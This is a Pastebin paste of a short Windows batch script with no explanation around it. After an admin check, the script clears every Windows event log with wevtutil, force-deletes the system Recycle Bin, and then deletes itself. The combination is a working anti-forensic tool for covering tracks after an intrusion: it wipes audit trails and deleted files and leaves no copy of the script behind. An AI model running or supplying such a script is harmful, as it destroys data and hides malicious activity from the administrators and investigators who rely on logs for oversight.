Advertisement
Guest User

LOGGGGGSSSSS

a guest
Mar 18th, 2018
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.43 KB | None | 0 0
  1. @echo off
  2. timeout /T 60
  3. FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
  4. IF (%adminTest%)==(Access) goto noAdmin
  5. for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G")
  6. echo.
  7. echo Event Logs have been cleared!
  8. goto theEnd
  9. :do_clear
  10. echo clearing %1
  11. wevtutil.exe cl %1
  12.  
  13. goto :eof
  14. :noAdmin
  15. echo You must run this script as an Administrator!
  16. echo.
  17. :theEnd
  18. rd /s /q %systemdrive%\$RECYCLE.BIN
  19. del %0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement